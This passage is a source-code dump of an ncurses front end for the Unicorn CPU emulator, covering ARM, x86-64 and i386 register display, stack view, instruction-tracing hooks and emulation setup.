| mvwchgat(regsw, dl, 38, 10, A_BOLD, 0, NULL); 80 | if (r->lr != prev_regs_arm->lr) 81 | mvwchgat(regsw, dl, 50, 10, A_BOLD, 0, NULL); 82 | 83 | hl = 7; 84 | dl = 8; 85 | mvwprintw(regsw, hl, 2, "PC(R15) CPSR(FLAGS)"); 86 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x ", r->pc, r->cpsr); 87 | mvwprintw(regsw, dl, 25, "%s", (CHECK_BIT(r->cpsr, 5) ? "T ":"")); 88 | wprintw(regsw, "%s", (CHECK_BIT(r->cpsr, 24) ? "J ":"")); // Java state bit 89 | wprintw(regsw, "%s", (CHECK_BIT(r->cpsr, 27) ? "Q ":"")); // Sticky overflow bit 90 | wprintw(regsw, "%s", (CHECK_BIT(r->cpsr, 28) ? "V ":"")); // overflow bit 91 | wprintw(regsw, "%s", (CHECK_BIT(r->cpsr, 29) ? "C ":"")); // carry/borrow/extend bit 92 | wprintw(regsw, "%s", (CHECK_BIT(r->cpsr, 30) ? "Z ":"")); // Zero bit 93 | wprintw(regsw, "%s", (CHECK_BIT(r->cpsr, 31) ? "N ":"")); // negative/less than bit 94 | if (r->cpsr != prev_regs_arm->cpsr) 95 | mvwchgat(regsw, dl, 14, 10, A_BOLD, 0, NULL); 96 | 97 | wrefresh(regsw); 98 | 99 | if (r != prev_regs_arm) { 100 | xfree(prev_regs_arm); 101 | prev_regs_arm = r; 102 | } 103 | } 104 | 105 | void printstack_arm(uc_engine *uc) { 106 | uint8_t tmp[16]; 107 | uint32_t r_sp; 108 | uint32_t *t = (uint32_t*) tmp; 109 | int i, j; 110 | uc_err ret; 111 | 112 | uc_reg_read(uc, UC_ARM_REG_SP, &r_sp); 113 | for (i=0; i<(stackwl.nlines-2); i++) { 114 | mvwprintw(stackw, i+1, 2, "%08lx ", r_sp+(i*4)); 115 | // if (uc_mem_read(uc, r_sp+(i*4), tmp, 4) == UC_ERR_OK) { 116 | ret = uc_mem_read(uc, r_sp+(i*4), tmp, 4); 117 | if (ret == UC_ERR_OK) { 118 | wprintw(stackw, "%08lx ", *t); 119 | for(j=3; j>=0; j--) { 120 | wprintw(stackw, "%c", (tmp[j] > 32 && tmp[j] < 126) ? tmp[j] : '.'); 121 | } 122 | } else { 123 | wprintw(stackw, "?? %s", uc_strerror(ret)); 124 | } 125 | } 126 | wrefresh(stackw); 127 | } 128 | 129 | // callback for tracing instruction 130 | static void hook_code_arm(uc_engine *uc, uint64_t ip, uint64_t size, void *user_data) 131 | { 132 | printregs_arm(uc); 133 | printstack_arm(uc); 134 | if (should_break(ip) == false) 135 | return; 136 | handle_keyboard(uc, ip); 137 | } 138 | 139 | // callback for handling interrupt 140 | // ref: http://syscalls.kernelgrok.com/ 141 | static void hook_intr_arm(uc_engine *uc, uint32_t intno, void *user_data) 142 | { 143 | if (opts->os == LINUX) { 144 | hook_intr_arm_linux(uc, intno, user_data); 145 | } else { 146 | uint32_t r_pc; 147 | uc_reg_read(uc, UC_ARM_REG_PC, &r_pc); 148 | consw_info("%08x syscall: %d no os handler defined for syscall descrambling\n", r_pc, intno); 149 | } 150 | } 151 | 152 | 153 | int unicorn_arm(uint8_t *code, unsigned int len, uint64_t baseaddress) 154 | { 155 | uc_engine *uc; 156 | uc_err err; 157 | uc_hook trace1, trace2; 158 | struct arm_regs *r; 159 | bool regs_from_file = false; 160 | 161 | if (opts->initial_regs) { 162 | regs_from_file = true; 163 | r = opts->initial_regs; 164 | if (r->pc == 0) 165 | r->pc = baseaddress; 166 | if (r->sp == 0) 167 | r->sp = baseaddress + 0x200000; 168 | } else { 169 | r = xmalloc(sizeof(struct arm_regs)); 170 | memset(r, 0, sizeof(struct arm_regs)); 171 | r->sp = baseaddress + 0x200000; 172 | r->pc = baseaddress; 173 | } 174 | 175 | consw_info("Emulate ARM 32bits code\n"); 176 | 177 | // Initialize emulator 178 | err = uc_open(UC_ARCH_ARM, UC_MODE_ARM, &uc); 179 | if (err) { 180 | consw_err("uc_open() error %u: %s\n", err, uc_strerror(err)); 181 | goto error; 182 | } 183 | 184 | map_and_write_memory(uc, opts->mmap); 185 | 186 | // initialize machine registers 187 | if (r->r0 != 0) { uc_reg_write(uc, UC_ARM_REG_R0, &r->r0); } 188 | if (r->r1 != 0) { uc_reg_write(uc, UC_ARM_REG_R1, &r->r1); } 189 | if (r->r2 != 0) { uc_reg_write(uc, UC_ARM_REG_R2, &r->r2); } 190 | if (r->r3 != 0) { uc_reg_write(uc, UC_ARM_REG_R3, &r->r3); } 191 | if (r->r4 != 0) { uc_reg_write(uc, UC_ARM_REG_R4, &r->r4); } 192 | if (r->r5 != 0) { uc_reg_write(uc, UC_ARM_REG_R5, &r->r5); } 193 | if (r->r6 != 0) { uc_reg_write(uc, UC_ARM_REG_R6, &r->r6); } 194 | if (r->r7 != 0) { uc_reg_write(uc, UC_ARM_REG_R7, &r->r7); } 195 | if (r->r8 != 0) { uc_reg_write(uc, UC_ARM_REG_R8, &r->r8); } 196 | if (r->sb != 0) { uc_reg_write(uc, UC_ARM_REG_SB, &r->sb); } 197 | if (r->sl != 0) { uc_reg_write(uc, UC_ARM_REG_SL, &r->sl); } 198 | if (r->fp != 0) { uc_reg_write(uc, UC_ARM_REG_FP, &r->fp); } 199 | if (r->ip != 0) { uc_reg_write(uc, UC_ARM_REG_IP, &r->ip); } 200 | if (r->sp != 0) { uc_reg_write(uc, UC_ARM_REG_SP, &r->sp); } 201 | if (r->lr != 0) { uc_reg_write(uc, UC_ARM_REG_LR, &r->lr); } 202 | if (r->pc != 0) { uc_reg_write(uc, UC_ARM_REG_PC, &r->pc); } 203 | 204 | 205 | // tracing all instructions by having @begin > @end 206 | uc_hook_add(uc, &trace1, UC_HOOK_CODE, hook_code_arm, NULL, 1, 0); 207 | 208 | // handle interrupt ourself 209 | uc_hook_add(uc, &trace2, UC_HOOK_INTR, hook_intr_arm, NULL, 1, 0); 210 | 211 | // emulate machine code in infinite time 212 | err = uc_emu_start(uc, r->pc, baseaddress + len, 0, 0); 213 | if (err) { 214 | consw_err(""); 215 | if (prev_regs_x86 != NULL && prev_regs_arm->pc != 0) { 216 | consw("0x%08x: ", prev_regs_arm->pc); 217 | } 218 | consw("uc_emu_start() error %u: %s\n", err, uc_strerror(err)); 219 | goto finish; 220 | } 221 | 222 | finish: 223 | if (!regs_from_file) 224 | xfree(r); 225 | uc_running = false; 226 | consw_info("Emulation done.\n"); 227 | 228 | // Give the user a change to browse around in the asm window before restart 229 | r = read_arm_registers(uc); 230 | stepmode = STEP; 231 | printregs_arm(uc); 232 | printstack_arm(uc); 233 | handle_keyboard(uc, r->pc); 234 | 235 | uc_close(uc); 236 | xfree(prev_regs_arm); 237 | xfree(r); 238 | 239 | return(0); 240 | 241 | error: 242 | getch(); 243 | endwin(); 244 | exit(1); 245 | } 246 | -------------------------------------------------------------------------------- /src/unicorn_x64.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | struct x64_regs * read_x64_registers(uc_engine *uc) 4 | { 5 | struct x64_regs *r; 6 | r = xmalloc(sizeof(struct x64_regs)); 7 | uc_reg_read(uc, UC_X86_REG_RAX, &r->rax); 8 | uc_reg_read(uc, UC_X86_REG_RBX, &r->rbx); 9 | uc_reg_read(uc, UC_X86_REG_RCX, &r->rcx); 10 | uc_reg_read(uc, UC_X86_REG_RDX, &r->rdx); 11 | uc_reg_read(uc, UC_X86_REG_RSI, &r->rsi); 12 | uc_reg_read(uc, UC_X86_REG_RDI, &r->rdi); 13 | uc_reg_read(uc, UC_X86_REG_RBP, &r->rbp); 14 | uc_reg_read(uc, UC_X86_REG_RSP, &r->rsp); 15 | uc_reg_read(uc, UC_X86_REG_RIP, &r->rip); 16 | uc_reg_read(uc, UC_X86_REG_R8, &r->r8); 17 | uc_reg_read(uc, UC_X86_REG_R9, &r->r9); 18 | uc_reg_read(uc, UC_X86_REG_R10, &r->r10); 19 | uc_reg_read(uc, UC_X86_REG_R11, &r->r11); 20 | uc_reg_read(uc, UC_X86_REG_R12, &r->r12); 21 | uc_reg_read(uc, UC_X86_REG_R13, &r->r13); 22 | uc_reg_read(uc, UC_X86_REG_R14, &r->r14); 23 | uc_reg_read(uc, UC_X86_REG_R15, &r->r15); 24 | uc_reg_read(uc, UC_X86_REG_SS, &r->ss); 25 | uc_reg_read(uc, UC_X86_REG_CS, &r->cs); 26 | uc_reg_read(uc, UC_X86_REG_DS, &r->ds); 27 | uc_reg_read(uc, UC_X86_REG_ES, &r->es); 28 | uc_reg_read(uc, UC_X86_REG_FS, &r->fs); 29 | uc_reg_read(uc, UC_X86_REG_GS, &r->gs); 30 | uc_reg_read(uc, UC_X86_REG_EFLAGS, &r->eflags); 31 | return(r); 32 | } 33 | 34 | 35 | void printregs_x64(uc_engine *uc) 36 | { 37 | struct x64_regs *r; 38 | short hl, dl; 39 | 40 | r = read_x64_registers(uc); 41 | 42 | if (prev_regs_x64 == NULL) { 43 | prev_regs_x64 = r; 44 | } 45 | 46 | hl = 1; 47 | dl = 2; 48 | mvwprintw(regsw, hl, 2, "RAX RBX RCX"); 49 | mvwprintw(regsw, dl, 2, "0x%016llx 0x%016llx 0x%016llx", r->rax, r->rbx, r->rcx); 50 | if (r->rax != prev_regs_x64->rax) 51 | mvwchgat(regsw, dl, 2, 18, A_BOLD, 0, NULL); 52 | if (r->rbx != prev_regs_x64->rbx) 53 | mvwchgat(regsw, dl, 22, 18, A_BOLD, 0, NULL); 54 | if (r->rcx != prev_regs_x64->rcx) 55 | mvwchgat(regsw, dl, 42, 18, A_BOLD, 0, NULL); 56 | 57 | hl += 2; 58 | dl += 2; 59 | mvwprintw(regsw, hl, 2, "RDX RSI RDI"); 60 | mvwprintw(regsw, dl, 2, "0x%016llx 0x%016llx 0x%016llx", r->rdx, r->rsi, r->rdi); 61 | if (r->rdx != prev_regs_x64->rdx) 62 | mvwchgat(regsw, dl, 2, 18, A_BOLD, 0, NULL); 63 | if (r->rsi != prev_regs_x64->rsi) 64 | mvwchgat(regsw, dl, 22, 18, A_BOLD, 0, NULL); 65 | if (r->rdi != prev_regs_x64->rdi) 66 | mvwchgat(regsw, dl, 42, 18, A_BOLD, 0, NULL); 67 | 68 | hl += 2; 69 | dl += 2; 70 | mvwprintw(regsw, hl, 2, "R8 R9 R10"); 71 | mvwprintw(regsw, dl, 2, "0x%016llx 0x%016llx 0x%016llx", r->r8, r->r9, r->r10); 72 | if (r->r8 != prev_regs_x64->r8) 73 | mvwchgat(regsw, dl, 2, 18, A_BOLD, 0, NULL); 74 | if (r->r9 != prev_regs_x64->r9) 75 | mvwchgat(regsw, dl, 22, 18, A_BOLD, 0, NULL); 76 | if (r->r10 != prev_regs_x64->r10) 77 | mvwchgat(regsw, dl, 42, 18, A_BOLD, 0, NULL); 78 | 79 | hl += 2; 80 | dl += 2; 81 | mvwprintw(regsw, hl, 2, "R11 R12 R13"); 82 | mvwprintw(regsw, dl, 2, "0x%016llx 0x%016llx 0x%016llx", r->r11, r->r12, r->r13); 83 | if (r->r11 != prev_regs_x64->r11) 84 | mvwchgat(regsw, dl, 2, 18, A_BOLD, 0, NULL); 85 | if (r->r12 != prev_regs_x64->r12) 86 | mvwchgat(regsw, dl, 22, 18, A_BOLD, 0, NULL); 87 | if (r->r13 != prev_regs_x64->r13) 88 | mvwchgat(regsw, dl, 42, 18, A_BOLD, 0, NULL); 89 | 90 | hl += 2; 91 | dl += 2; 92 | mvwprintw(regsw, hl, 2, "R14 R15 RBP"); 93 | mvwprintw(regsw, dl, 2, "0x%016llx 0x%016llx 0x%016llx", r->r14, r->r15, r->rbp); 94 | if (r->r14 != prev_regs_x64->r14) 95 | mvwchgat(regsw, dl, 2, 18, A_BOLD, 0, NULL); 96 | if (r->r15 != prev_regs_x64->r15) 97 | mvwchgat(regsw, dl, 22, 18, A_BOLD, 0, NULL); 98 | if (r->rbp != prev_regs_x64->rbp) 99 | mvwchgat(regsw, dl, 42, 18, A_BOLD, 0, NULL); 100 | 101 | hl += 2; 102 | dl += 2; 103 | mvwprintw(regsw, hl, 2, "EFLAGS RIP RSP"); 104 | mvwprintw(regsw, dl, 2, "0x%08lx 0x%016llx 0x%016llx", r->eflags, r->rip, r->rsp); 105 | if (r->eflags != prev_regs_x64->eflags) 106 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 107 | if (r->rsp != prev_regs_x64->rsp) 108 | mvwchgat(regsw, dl, 42, 18, A_BOLD, 0, NULL); 109 | dl++; 110 | wmove(regsw, dl, 2); 111 | wclrtoeol(regsw); 112 | box(regsw, 0, 0); 113 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 0) ? "CF ":""); 114 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 2) ? "PF ":""); 115 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 4) ? "AF ":""); 116 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 6) ? "ZF ":""); 117 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 7) ? "SF ":""); 118 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 8) ? "TF ":""); 119 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 9) ? "IF ":""); 120 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 10) ? "DF ":""); 121 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 11) ? "OF ":""); 122 | 123 | hl += 2; 124 | dl += 1; 125 | mvwprintw(regsw, hl, 31, "SS CS DS ES FS GS"); 126 | mvwprintw(regsw, dl, 31, "%04x %04x %04x %04x %04x %04x", r->ss, r->cs, r->ds, r->es, r->fs, r->gs); 127 | 128 | 129 | wrefresh(regsw); 130 | 131 | if (r != prev_regs_x64) { 132 | xfree(prev_regs_x64); 133 | prev_regs_x64 = r; 134 | } 135 | } 136 | 137 | void printstack_x64(uc_engine *uc) { 138 | uint8_t tmp[16]; 139 | uint64_t r_rsp; 140 | uint64_t *t64 = (uint64_t*) tmp; 141 | int i, j; 142 | 143 | uc_reg_read(uc, UC_X86_REG_RSP, &r_rsp); 144 | for (i=0; i<(stackwl.nlines-2); i++) { 145 | mvwprintw(stackw, i+1, 2, "%08llx ", r_rsp+(i*8)); 146 | if (uc_mem_read(uc, r_rsp+(i*8), tmp, 8) == UC_ERR_OK) { 147 | wprintw(stackw, "%016llx ", *t64); 148 | for(j=7; j>=0; j--) { 149 | wprintw(stackw, "%c", (tmp[j] > 32 && tmp[j] < 126) ? tmp[j] : '.'); 150 | } 151 | } else { 152 | wprintw(stackw, "?? err: %d ", uc_errno(uc)); 153 | } 154 | } 155 | wrefresh(stackw); 156 | } 157 | 158 | // callback for tracing instruction 159 | static void hook_code_x64(uc_engine *uc, uint64_t ip, uint64_t size, void *user_data) 160 | { 161 | printregs_x64(uc); 162 | printstack_x64(uc); 163 | if (should_break(ip) == false) 164 | return; 165 | handle_keyboard(uc, ip); 166 | } 167 | 168 | // callback for handling interrupt 169 | // ref: http://syscalls.kernelgrok.com/ 170 | static void hook_intr_x64(uc_engine *uc, uint32_t intno, void *user_data) 171 | { 172 | if (opts->os == LINUX) { 173 | hook_intr_x64_linux(uc, intno, user_data); 174 | } else { 175 | uint64_t r_rip; 176 | uc_reg_read(uc, UC_X86_REG_RIP, &r_rip); 177 | consw_info("%08x syscall: no os handler defined for syscall descrambling\n", r_rip); 178 | } 179 | } 180 | 181 | 182 | int unicorn_x64(uint8_t *code, unsigned int len, uint64_t baseaddress) 183 | { 184 | uc_engine *uc; 185 | uc_err err; 186 | uc_hook trace1, trace2, trace3; 187 | struct x64_regs *r; 188 | bool regs_from_file = false; 189 | 190 | if (opts->initial_regs) { 191 | regs_from_file = true; 192 | r = opts->initial_regs; 193 | if (r->rip == 0) 194 | r->rip = baseaddress; 195 | if (r->rsp == 0) 196 | r->rsp = baseaddress + 0x200000; 197 | } else { 198 | r = xmalloc(sizeof(struct x64_regs)); 199 | memset(r, 0, sizeof(struct x64_regs)); 200 | r->rsp = baseaddress + 0x200000; 201 | r->rip = baseaddress; 202 | } 203 | 204 | consw("Emulate x86 64bits code\n"); 205 | 206 | err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc); 207 | if (err) { 208 | consw_err("uc_open() error %u: %s\n", err, uc_strerror(err)); 209 | goto error; 210 | } 211 | 212 | map_and_write_memory(uc, opts->mmap); 213 | 214 | // initialize machine registers 215 | if (r->rax != 0) { uc_reg_write(uc, UC_X86_REG_RAX, &r->rax); } 216 | if (r->rbx != 0) { uc_reg_write(uc, UC_X86_REG_RBX, &r->rbx); } 217 | if (r->rcx != 0) { uc_reg_write(uc, UC_X86_REG_RCX, &r->rcx); } 218 | if (r->rdx != 0) { uc_reg_write(uc, UC_X86_REG_RDX, &r->rdx); } 219 | if (r->rsi != 0) { uc_reg_write(uc, UC_X86_REG_RSI, &r->rsi); } 220 | if (r->rdi != 0) { uc_reg_write(uc, UC_X86_REG_RDI, &r->rdi); } 221 | if (r->rbp != 0) { uc_reg_write(uc, UC_X86_REG_RBP, &r->rbp); } 222 | if (r->rsp != 0) { uc_reg_write(uc, UC_X86_REG_RSP, &r->rsp); } 223 | if (r->r8 != 0) { uc_reg_write(uc, UC_X86_REG_R8, &r->r8); } 224 | if (r->r9 != 0) { uc_reg_write(uc, UC_X86_REG_R9, &r->r9); } 225 | if (r->r10 != 0) { uc_reg_write(uc, UC_X86_REG_R10, &r->r10); } 226 | if (r->r11 != 0) { uc_reg_write(uc, UC_X86_REG_R11, &r->r11); } 227 | if (r->r12 != 0) { uc_reg_write(uc, UC_X86_REG_R12, &r->r12); } 228 | if (r->r13 != 0) { uc_reg_write(uc, UC_X86_REG_R13, &r->r13); } 229 | if (r->r14 != 0) { uc_reg_write(uc, UC_X86_REG_R14, &r->r14); } 230 | if (r->r15 != 0) { uc_reg_write(uc, UC_X86_REG_R15, &r->r15); } 231 | if (r->ss != 0) { uc_reg_write(uc, UC_X86_REG_SS, &r->ss); } 232 | if (r->cs != 0) { uc_reg_write(uc, UC_X86_REG_CS, &r->cs); } 233 | if (r->ds != 0) { uc_reg_write(uc, UC_X86_REG_DS, &r->ds); } 234 | if (r->es != 0) { uc_reg_write(uc, UC_X86_REG_ES, &r->es); } 235 | if (r->fs != 0) { uc_reg_write(uc, UC_X86_REG_FS, &r->fs); } 236 | if (r->gs != 0) { uc_reg_write(uc, UC_X86_REG_GS, &r->gs); } 237 | if (r->eflags != 0) { uc_reg_write(uc, UC_X86_REG_EFLAGS, &r->eflags); } 238 | 239 | // tracing all instructions by having @begin > @end 240 | uc_hook_add(uc, &trace1, UC_HOOK_CODE, hook_code_x64, NULL, 1, 0); 241 | 242 | // handle interrupt ourself 243 | uc_hook_add(uc, &trace2, UC_HOOK_INSN, hook_intr_x64, NULL, 1, 0, UC_X86_INS_SYSENTER); 244 | uc_hook_add(uc, &trace3, UC_HOOK_INSN, hook_intr_x64, NULL, 1, 0, UC_X86_INS_SYSCALL); 245 | 246 | uc_running = true; 247 | // emulate machine code in infinite time 248 | err = uc_emu_start(uc, r->rip, -1, 0, 0); 249 | if (err) { 250 | consw_err(""); 251 | if (prev_regs_x64 != NULL && prev_regs_x64->rip != 0) { 252 | consw("0x%llx: ", prev_regs_x64->rip); 253 | } 254 | consw("uc_emu_start() error %u: %s\n", err, uc_strerror(err)); 255 | goto finish; 256 | } 257 | 258 | 259 | finish: 260 | if (!regs_from_file) 261 | xfree(r); 262 | uc_running = false; 263 | consw_info("Emulation done.\n"); 264 | 265 | // Give the user a change to browse around in the asm window before restart 266 | r = read_x64_registers(uc); 267 | stepmode = STEP; 268 | printregs_x64(uc); 269 | printstack_x64(uc); 270 | handle_keyboard(uc, r->rip); 271 | 272 | uc_close(uc); 273 | xfree(prev_regs_x64); 274 | xfree(r); 275 | 276 | return(0); 277 | 278 | error: 279 | getch(); 280 | endwin(); 281 | exit(1); 282 | } 283 | -------------------------------------------------------------------------------- /src/unicorn_x86.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | struct x86_regs * read_x86_registers(uc_engine *uc) 4 | { 5 | struct x86_regs *r; 6 | r = xmalloc(sizeof(struct x86_regs)); 7 | uc_reg_read(uc, UC_X86_REG_EAX, &r->eax); 8 | uc_reg_read(uc, UC_X86_REG_EBX, &r->ebx); 9 | uc_reg_read(uc, UC_X86_REG_ECX, &r->ecx); 10 | uc_reg_read(uc, UC_X86_REG_EDX, &r->edx); 11 | uc_reg_read(uc, UC_X86_REG_ESI, &r->esi); 12 | uc_reg_read(uc, UC_X86_REG_EDI, &r->edi); 13 | uc_reg_read(uc, UC_X86_REG_EBP, &r->ebp); 14 | uc_reg_read(uc, UC_X86_REG_ESP, &r->esp); 15 | uc_reg_read(uc, UC_X86_REG_SS, &r->ss); 16 | uc_reg_read(uc, UC_X86_REG_CS, &r->cs); 17 | uc_reg_read(uc, UC_X86_REG_DS, &r->ds); 18 | uc_reg_read(uc, UC_X86_REG_ES, &r->es); 19 | uc_reg_read(uc, UC_X86_REG_FS, &r->fs); 20 | uc_reg_read(uc, UC_X86_REG_GS, &r->gs); 21 | uc_reg_read(uc, UC_X86_REG_EIP, &r->eip); 22 | uc_reg_read(uc, UC_X86_REG_EFLAGS, &r->eflags); 23 | return(r); 24 | } 25 | 26 | 27 | void printregs_x86(uc_engine *uc) 28 | { 29 | struct x86_regs *r; 30 | short hl, dl; 31 | 32 | r = read_x86_registers(uc); 33 | 34 | if (prev_regs_x86 == NULL) { 35 | prev_regs_x86 = r; 36 | } 37 | 38 | hl = 1; 39 | dl = 2; 40 | mvwprintw(regsw, hl, 2, "EAX EBX ECX EDX SS CS"); 41 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x 0x%08x 0x%08x 0x%04x 0x%04x", r->eax, r->ebx, r->ecx, r->edx, r->ss, r->cs); 42 | if (r->eax != prev_regs_x86->eax) 43 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 44 | if (r->ebx != prev_regs_x86->ebx) 45 | mvwchgat(regsw, dl, 13, 10, A_BOLD, 0, NULL); 46 | if (r->ecx != prev_regs_x86->ecx) 47 | mvwchgat(regsw, dl, 24, 10, A_BOLD, 0, NULL); 48 | if (r->edx != prev_regs_x86->edx) 49 | mvwchgat(regsw, dl, 35, 10, A_BOLD, 0, NULL); 50 | if (r->ss != prev_regs_x86->ss) 51 | mvwchgat(regsw, dl, 47, 6, A_BOLD, 0, NULL); 52 | if (r->cs != prev_regs_x86->cs) 53 | mvwchgat(regsw, dl, 55, 6, A_BOLD, 0, NULL); 54 | 55 | hl = 3; 56 | dl = 4; 57 | mvwprintw(regsw, hl, 2, "ESI EDI ESP EBP DS ES"); 58 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x 0x%08x 0x%08x 0x%04x 0x%04x", r->esi, r->edi, r->esp, r->ebp, r->ds, r->es); 59 | if (r->esi != prev_regs_x86->esi) 60 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 61 | if (r->edi != prev_regs_x86->edi) 62 | mvwchgat(regsw, dl, 13, 10, A_BOLD, 0, NULL); 63 | if (r->esp != prev_regs_x86->esp) 64 | mvwchgat(regsw, dl, 24, 10, A_BOLD, 0, NULL); 65 | if (r->ebp != prev_regs_x86->ebp) 66 | mvwchgat(regsw, dl, 35, 10, A_BOLD, 0, NULL); 67 | if (r->ds != prev_regs_x86->ds) 68 | mvwchgat(regsw, dl, 47, 6, A_BOLD, 0, NULL); 69 | if (r->es != prev_regs_x86->es) 70 | mvwchgat(regsw, dl, 55, 6, A_BOLD, 0, NULL); 71 | 72 | hl = 5; 73 | dl = 6; 74 | mvwprintw(regsw, hl, 2, "EFLAGS EIP FS GS"); 75 | mvwprintw(regsw, dl, 2, "0x%08x 0x%08x 0x%04x 0x%04x", r->eflags, r->eip, r->fs, r->gs); 76 | wmove(regsw, dl, 13); 77 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 0) ? "CF ":""); 78 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 2) ? "PF ":""); 79 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 4) ? "AF ":""); 80 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 6) ? "ZF ":""); 81 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 7) ? "SF ":""); 82 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 8) ? "TF ":""); 83 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 9) ? "IF ":""); 84 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 10) ? "DF ":""); 85 | wprintw(regsw, "%s", CHECK_BIT(r->eflags, 11) ? "OF ":""); 86 | if (r->eflags != prev_regs_x86->eflags) 87 | mvwchgat(regsw, dl, 2, 10, A_BOLD, 0, NULL); 88 | if (r->fs != prev_regs_x86->fs) 89 | mvwchgat(regsw, dl, 47, 6, A_BOLD, 0, NULL); 90 | if (r->gs != prev_regs_x86->gs) 91 | mvwchgat(regsw, dl, 55, 6, A_BOLD, 0, NULL); 92 | 93 | wrefresh(regsw); 94 | 95 | if (r != prev_regs_x86) { 96 | xfree(prev_regs_x86); 97 | prev_regs_x86 = r; 98 | } 99 | } 100 | 101 | void printstack_x86(uc_engine *uc) { 102 | uint8_t tmp[16]; 103 | uint32_t r_esp; 104 | uint32_t *t32 = (uint32_t*) tmp; 105 | int i, j; 106 | 107 | uc_reg_read(uc, UC_X86_REG_ESP, &r_esp); 108 | for (i=0; i<(stackwl.nlines-2); i++) { 109 | mvwprintw(stackw, i+1, 2, "%08x ", r_esp+(i*4)); 110 | if (uc_mem_read(uc, r_esp+(i*4), tmp, 8) == UC_ERR_OK) { 111 | wprintw(stackw, "%08x ", *t32); 112 | for(j=3; j>=0; j--) { 113 | wprintw(stackw, "%c", (tmp[j] > 32 && tmp[j] < 126) ? tmp[j] : '.'); 114 | } 115 | } else { 116 | wprintw(stackw, "?? err: %d ", uc_errno(uc)); 117 | } 118 | } 119 | wrefresh(stackw); 120 | } 121 | 122 | // callback for tracing instruction 123 | static void hook_code_x86(uc_engine *uc, uint64_t ip, uint32_t size, void *user_data) 124 | { 125 | printregs_x86(uc); 126 | printstack_x86(uc); 127 | if (should_break(ip) == false) 128 | return; 129 | handle_keyboard(uc, ip); 130 | } 131 | 132 | // callback for handling interrupt 133 | // ref: http://syscalls.kernelgrok.com/ 134 | static void hook_intr_x86(uc_engine *uc, uint32_t intno, void *user_data) 135 | { 136 | 137 | if (intno == 0x80 && opts->os == LINUX) { 138 | hook_intr_x86_linux(uc, intno, user_data); 139 | } else { 140 | uint32_t r_eip; 141 | uc_reg_read(uc, UC_X86_REG_EIP, &r_eip); 142 | consw_info("%08x INT 0x%02x - ", r_eip, intno); 143 | switch(intno) { 144 | case 0x0d: 145 | consw("General Protection Fault\n"); 146 | break; 147 | default: 148 | consw("Unknown interupt\n"); 149 | } 150 | } 151 | } 152 | 153 | 154 | int unicorn_x86(uint8_t *code, unsigned int len, uint64_t baseaddress) 155 | { 156 | uc_engine *uc; 157 | uc_err err; 158 | uc_hook trace1, trace2; 159 | struct x86_regs *r; 160 | bool regs_from_file = false; 161 | 162 | if (opts->initial_regs) { 163 | regs_from_file = true; 164 | r = opts->initial_regs; 165 | if (r->eip == 0) 166 | r->eip = baseaddress; 167 | if (r->esp == 0) 168 | r->esp = baseaddress + 0x200000; 169 | } else { 170 | r = xmalloc(sizeof(struct x86_regs)); 171 | memset(r, 0, sizeof(struct x86_regs)); 172 | r->esp = baseaddress + 0x200000; 173 | r->eip = baseaddress; 174 | } 175 | 176 | consw_info("Emulate i386 code\n"); 177 | 178 | // Initialize emulator in X86-32bit mode 179 | err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); 180 | if (err) { 181 | consw_err("uc_open() error %u: %s\n", err, uc_strerror(err)); 182 | goto error; 183 | } 184 | 185 | // TODO: FS for windows 186 | /* 187 | if ((err = uc_mem_map(uc, 0x0, 1 * 1024 * 1024, UC_PROT_ALL)) != UC_ERR_OK) { 188 | consw_err("uc_mem_map() error %u: %s\n", err, uc_strerror(err)); 189 | goto error; 190 | } 191 | if (uc_mem_write(uc, 0x0, code, len)) { 192 | consw_err("uc_mem_write() error %u: %s\n", err, uc_strerror(err)); 193 | goto error; 194 | } 195 | */ 196 | 197 | map_and_write_memory(uc, opts->mmap); 198 | 199 | // initialize machine registers 200 | if (r->eax != 0) { uc_reg_write(uc, UC_X86_REG_EAX, &r->eax); } 201 | if (r->ebx != 0) { uc_reg_write(uc, UC_X86_REG_EBX, &r->ebx); } 202 | if (r->ecx != 0) { uc_reg_write(uc, UC_X86_REG_ECX, &r->ecx); } 203 | if (r->edx != 0) { uc_reg_write(uc, UC_X86_REG_EDX, &r->edx); } 204 | if (r->esi != 0) { uc_reg_write(uc, UC_X86_REG_ESI, &r->esi); } 205 | if (r->edi != 0) { uc_reg_write(uc, UC_X86_REG_EDI, &r->edi); } 206 | if (r->ebp != 0) { uc_reg_write(uc, UC_X86_REG_EBP, &r->ebp); } 207 | if (r->esp != 0) { uc_reg_write(uc, UC_X86_REG_ESP, &r->esp); } 208 | if (r->ss != 0) { uc_reg_write(uc, UC_X86_REG_SS, &r->ss); } 209 | if (r->cs != 0) { uc_reg_write(uc, UC_X86_REG_CS, &r->cs); } 210 | if (r->ds != 0) { uc_reg_write(uc, UC_X86_REG_DS, &r->ds); } 211 | if (r->es != 0) { uc_reg_write(uc, UC_X86_REG_ES, &r->es); } 212 | if (r->fs != 0) { uc_reg_write(uc, UC_X86_REG_FS, &r->fs); } 213 | if (r->gs != 0) { uc_reg_write(uc, UC_X86_REG_GS, &r->gs); } 214 | if (r->eflags != 0) { uc_reg_write(uc, UC_X86_REG_EFLAGS, &r->eflags); 